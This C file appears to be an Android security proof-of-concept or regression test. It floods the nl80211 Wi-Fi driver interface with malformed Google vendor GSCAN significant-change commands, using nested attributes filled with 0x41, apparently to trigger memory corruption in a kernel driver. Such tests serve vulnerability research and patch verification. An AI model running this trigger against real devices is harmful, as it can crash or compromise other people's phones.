1 /**
2  * Copyright (C) 2017 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 
17 #include <stdio.h>
18 #include <stdlib.h>
19 #include <string.h>
20 #include <errno.h>
21 #include <unistd.h>
22 #include <signal.h>
23 #include <sys/types.h>
24 #include <sys/socket.h>
25 #include <linux/netlink.h>
26 
27 #include <netlink/netlink.h>
28 #include <netlink/genl/genl.h>
29 #include <netlink/genl/ctrl.h>
30 #include <net/if.h>
31 #include <linux/nl80211.h>
32 
33 #define OUI_GOOGLE  0x001A11
34 #define ANDROID_NL80211_SUBCMD_RTT_RANGE_START 0x1100
35 #define F1_32 0x41414141
36 #define WL_CHANSPEC_BW_80               0x2000
37 
38 enum wl_vendor_subcmd {
39     BRCM_VENDOR_SCMD_UNSPEC,
40     BRCM_VENDOR_SCMD_PRIV_STR,
41     GSCAN_SUBCMD_GET_CAPABILITIES = 0x1000,
42     GSCAN_SUBCMD_SET_CONFIG,
43     GSCAN_SUBCMD_SET_SCAN_CONFIG,
44     GSCAN_SUBCMD_ENABLE_GSCAN,
45     GSCAN_SUBCMD_GET_SCAN_RESULTS,
46     GSCAN_SUBCMD_SCAN_RESULTS,
47     GSCAN_SUBCMD_SET_HOTLIST,
48     GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG,
49     GSCAN_SUBCMD_ENABLE_FULL_SCAN_RESULTS,
50     GSCAN_SUBCMD_GET_CHANNEL_LIST,
51     ANDR_WIFI_SUBCMD_GET_FEATURE_SET,
52     ANDR_WIFI_SUBCMD_GET_FEATURE_SET_MATRIX,
53     ANDR_WIFI_RANDOM_MAC_OUI,
54     ANDR_WIFI_NODFS_CHANNELS,
55     ANDR_WIFI_SET_COUNTRY,
56     GSCAN_SUBCMD_SET_EPNO_SSID,
57     WIFI_SUBCMD_SET_SSID_WHITELIST,
58     WIFI_SUBCMD_SET_LAZY_ROAM_PARAMS,
59     WIFI_SUBCMD_ENABLE_LAZY_ROAM,
60     WIFI_SUBCMD_SET_BSSID_PREF,
61     WIFI_SUBCMD_SET_BSSID_BLACKLIST,
62     GSCAN_SUBCMD_ANQPO_CONFIG,
63     WIFI_SUBCMD_SET_RSSI_MONITOR,
64     RTT_SUBCMD_SET_CONFIG = 0x1100,
65     RTT_SUBCMD_CANCEL_CONFIG,
66     RTT_SUBCMD_GETCAPABILITY,
67     LSTATS_SUBCMD_GET_INFO = 0x1200,
68     DEBUG_START_LOGGING = 0x1400,
69     DEBUG_TRIGGER_MEM_DUMP,
70     DEBUG_GET_MEM_DUMP,
71     DEBUG_GET_VER,
72     DEBUG_GET_RING_STATUS,
73     DEBUG_GET_RING_DATA,
74     DEBUG_GET_FEATURE,
75     DEBUG_RESET_LOGGING,
76     WIFI_OFFLOAD_SUBCMD_START_MKEEP_ALIVE = 0x1600,
77     WIFI_OFFLOAD_SUBCMD_STOP_MKEEP_ALIVE,
78     /* Add more sub commands here */
79     VENDOR_SUBCMD_MAX
80 };
81 
82 enum debug_attributes {
83     DEBUG_ATTRIBUTE_GET_DRIVER,
84     DEBUG_ATTRIBUTE_GET_FW,
85     DEBUG_ATTRIBUTE_RING_ID,
86     DEBUG_ATTRIBUTE_RING_NAME,
87     DEBUG_ATTRIBUTE_RING_FLAGS,
88     DEBUG_ATTRIBUTE_LOG_LEVEL,
89     DEBUG_ATTRIBUTE_LOG_TIME_INTVAL,
90     DEBUG_ATTRIBUTE_LOG_MIN_DATA_SIZE,
91     DEBUG_ATTRIBUTE_FW_DUMP_LEN,
92     DEBUG_ATTRIBUTE_FW_DUMP_DATA,
93     DEBUG_ATTRIBUTE_RING_DATA,
94     DEBUG_ATTRIBUTE_RING_STATUS,
95     DEBUG_ATTRIBUTE_RING_NUM
96 };
97 
98 
99 enum gscan_attributes {
100     GSCAN_ATTRIBUTE_NUM_BUCKETS = 10,
101     GSCAN_ATTRIBUTE_BASE_PERIOD,
102     GSCAN_ATTRIBUTE_BUCKETS_BAND,
103     GSCAN_ATTRIBUTE_BUCKET_ID,
104     GSCAN_ATTRIBUTE_BUCKET_PERIOD,
105     GSCAN_ATTRIBUTE_BUCKET_NUM_CHANNELS,
106     GSCAN_ATTRIBUTE_BUCKET_CHANNELS,
107     GSCAN_ATTRIBUTE_NUM_AP_PER_SCAN,
108     GSCAN_ATTRIBUTE_REPORT_THRESHOLD,
109     GSCAN_ATTRIBUTE_NUM_SCANS_TO_CACHE,
110     GSCAN_ATTRIBUTE_BAND = GSCAN_ATTRIBUTE_BUCKETS_BAND,
111     GSCAN_ATTRIBUTE_ENABLE_FEATURE = 20,
112     GSCAN_ATTRIBUTE_SCAN_RESULTS_COMPLETE,
113     GSCAN_ATTRIBUTE_FLUSH_FEATURE,
114     GSCAN_ATTRIBUTE_ENABLE_FULL_SCAN_RESULTS,
115     GSCAN_ATTRIBUTE_REPORT_EVENTS,
116     /* remaining reserved for additional attributes */
117     GSCAN_ATTRIBUTE_NUM_OF_RESULTS = 30,
118     GSCAN_ATTRIBUTE_FLUSH_RESULTS,
119     GSCAN_ATTRIBUTE_SCAN_RESULTS,                       /* flat array of wifi_scan_result */
120     GSCAN_ATTRIBUTE_SCAN_ID,                            /* indicates scan number */
121     GSCAN_ATTRIBUTE_SCAN_FLAGS,                         /* indicates if scan was aborted */
122     GSCAN_ATTRIBUTE_AP_FLAGS,                           /* flags on significant change event */
123     GSCAN_ATTRIBUTE_NUM_CHANNELS,
124     GSCAN_ATTRIBUTE_CHANNEL_LIST,
125     /* remaining reserved for additional attributes */
126     GSCAN_ATTRIBUTE_SSID = 40,
127     GSCAN_ATTRIBUTE_BSSID,
128     GSCAN_ATTRIBUTE_CHANNEL,
129     GSCAN_ATTRIBUTE_RSSI,
130     GSCAN_ATTRIBUTE_TIMESTAMP,
131     GSCAN_ATTRIBUTE_RTT,
132     GSCAN_ATTRIBUTE_RTTSD,
133     /* remaining reserved for additional attributes */
134     GSCAN_ATTRIBUTE_HOTLIST_BSSIDS = 50,
135     GSCAN_ATTRIBUTE_RSSI_LOW,
136     GSCAN_ATTRIBUTE_RSSI_HIGH,
137     GSCAN_ATTRIBUTE_HOSTLIST_BSSID_ELEM,
138     GSCAN_ATTRIBUTE_HOTLIST_FLUSH,
139     /* remaining reserved for additional attributes */
140     GSCAN_ATTRIBUTE_RSSI_SAMPLE_SIZE = 60,
141     GSCAN_ATTRIBUTE_LOST_AP_SAMPLE_SIZE,
142     GSCAN_ATTRIBUTE_MIN_BREACHING,
143     GSCAN_ATTRIBUTE_SIGNIFICANT_CHANGE_BSSIDS,
144     GSCAN_ATTRIBUTE_SIGNIFICANT_CHANGE_FLUSH,
145     /* EPNO */
146     GSCAN_ATTRIBUTE_EPNO_SSID_LIST = 70,
147     GSCAN_ATTRIBUTE_EPNO_SSID,
148     GSCAN_ATTRIBUTE_EPNO_SSID_LEN,
149     GSCAN_ATTRIBUTE_EPNO_RSSI,
150     GSCAN_ATTRIBUTE_EPNO_FLAGS,
151     GSCAN_ATTRIBUTE_EPNO_AUTH,
152     GSCAN_ATTRIBUTE_EPNO_SSID_NUM,
153     GSCAN_ATTRIBUTE_EPNO_FLUSH,
154     /* Roam SSID Whitelist and BSSID pref */
155     GSCAN_ATTRIBUTE_WHITELIST_SSID = 80,
156     GSCAN_ATTRIBUTE_NUM_WL_SSID,
157     GSCAN_ATTRIBUTE_WL_SSID_LEN,
158     GSCAN_ATTRIBUTE_WL_SSID_FLUSH,
159     GSCAN_ATTRIBUTE_WHITELIST_SSID_ELEM,
160     GSCAN_ATTRIBUTE_NUM_BSSID,
161     GSCAN_ATTRIBUTE_BSSID_PREF_LIST,
162     GSCAN_ATTRIBUTE_BSSID_PREF_FLUSH,
163     GSCAN_ATTRIBUTE_BSSID_PREF,
164     GSCAN_ATTRIBUTE_RSSI_MODIFIER,
165     /* Roam cfg */
166     GSCAN_ATTRIBUTE_A_BAND_BOOST_THRESHOLD = 90,
167     GSCAN_ATTRIBUTE_A_BAND_PENALTY_THRESHOLD,
168     GSCAN_ATTRIBUTE_A_BAND_BOOST_FACTOR,
169     GSCAN_ATTRIBUTE_A_BAND_PENALTY_FACTOR,
170     GSCAN_ATTRIBUTE_A_BAND_MAX_BOOST,
171     GSCAN_ATTRIBUTE_LAZY_ROAM_HYSTERESIS,
172     GSCAN_ATTRIBUTE_ALERT_ROAM_RSSI_TRIGGER,
173     GSCAN_ATTRIBUTE_LAZY_ROAM_ENABLE,
174     /* BSSID blacklist */
175     GSCAN_ATTRIBUTE_BSSID_BLACKLIST_FLUSH = 100,
176     GSCAN_ATTRIBUTE_BLACKLIST_BSSID,
177     GSCAN_ATTRIBUTE_ANQPO_HS_LIST = 110,
178     GSCAN_ATTRIBUTE_ANQPO_HS_LIST_SIZE,
179     GSCAN_ATTRIBUTE_ANQPO_HS_NETWORK_ID,
180     GSCAN_ATTRIBUTE_ANQPO_HS_NAI_REALM,
181     GSCAN_ATTRIBUTE_ANQPO_HS_ROAM_CONSORTIUM_ID,
182     GSCAN_ATTRIBUTE_ANQPO_HS_PLMN,
183     /* Adaptive scan attributes */
184     GSCAN_ATTRIBUTE_BUCKET_STEP_COUNT = 120,
185     GSCAN_ATTRIBUTE_BUCKET_MAX_PERIOD,
186     GSCAN_ATTRIBUTE_MAX
187 };
188 
189 
190 #define ETHER_ADDR_LEN 6
191 struct  __attribute__ ((packed)) _ether_addr {
192     uint8_t octet[ETHER_ADDR_LEN];
193 };
194 
195 static int l1;
196 static int l2;
test(struct nl_sock * socket,int d_id,int if_index)197 static void test(struct nl_sock *socket, int d_id, int if_index)
198 {
199     struct nl_msg *msg;
200     struct nl_cb *cb;
201     struct nl_msg *vendor_cmd, *nested_msg;
202     struct nlattr *nl_vendor_cmds, *nested, *nested2, *nested3;
203     int err, i, j = 0, k = 0,  ret;
204     struct _ether_addr mac;
205     memset(&mac, 0x41, sizeof(mac));
206 
207     // Allocate the messages and callback handler.
208     for (j = l1; j < 1024; j++) {
209         for(k = l2; k < 128; k++) {
210             msg = nlmsg_alloc_size(16384);
211             if (!msg) {
212                 exit(EXIT_FAILURE);
213             }
214 
215             genlmsg_put(msg, 0, 0, d_id, 0, 0, NL80211_CMD_VENDOR, 0);
216             nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
217             nla_put_u32(msg, NL80211_ATTR_WIPHY, 0);
218             nla_put_u64(msg, NL80211_ATTR_WDEV, 1);
219             nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, OUI_GOOGLE);
220             nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG);
221 
222             /* construct the vendor cmd */
223             nl_vendor_cmds = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
224 
225             nested = nla_nest_start(msg, GSCAN_ATTRIBUTE_SIGNIFICANT_CHANGE_BSSIDS);
226             for (i = 0; i < j; i++) {
227                 nested2 = nla_nest_start(msg, i);
228                 nla_nest_end(msg, nested2);
229             }
230             for (i = 0; i < k; i++) {
231                 nested2 = nla_nest_start(msg, i);
232                 nla_put(msg, GSCAN_ATTRIBUTE_BSSID, sizeof(mac), &mac);
233                 nla_put_u8(msg, GSCAN_ATTRIBUTE_RSSI_LOW, 0x41);
234                 nla_put_u8(msg, GSCAN_ATTRIBUTE_RSSI_HIGH, 0x41);
235                 nla_nest_end(msg, nested2);
236             }
237             nla_nest_end(msg, nested);
238             nla_nest_end(msg, nl_vendor_cmds);
239 
240             nl_send_auto_complete(socket, msg);
241             nlmsg_free(msg);
242         }
243     }
244 }
245 
main(int argc,char ** argv)246 int main(int argc, char **argv)
247 {
248     int if_index = if_nametoindex("wlan0"); // Use this wireless interface for scanning.
249     l1 = 157;
250     l2 = 0;
251     // Open socket to kernel.
252     struct nl_sock *socket = nl_socket_alloc();  // Allocate new netlink socket in memory.
253     genl_connect(socket);  // Create file descriptor and bind socket.
254     int driver_id = genl_ctrl_resolve(socket, "nl80211");  // Find the nl80211 driver ID.
255 
256     test(socket, driver_id, if_index);
257 }
258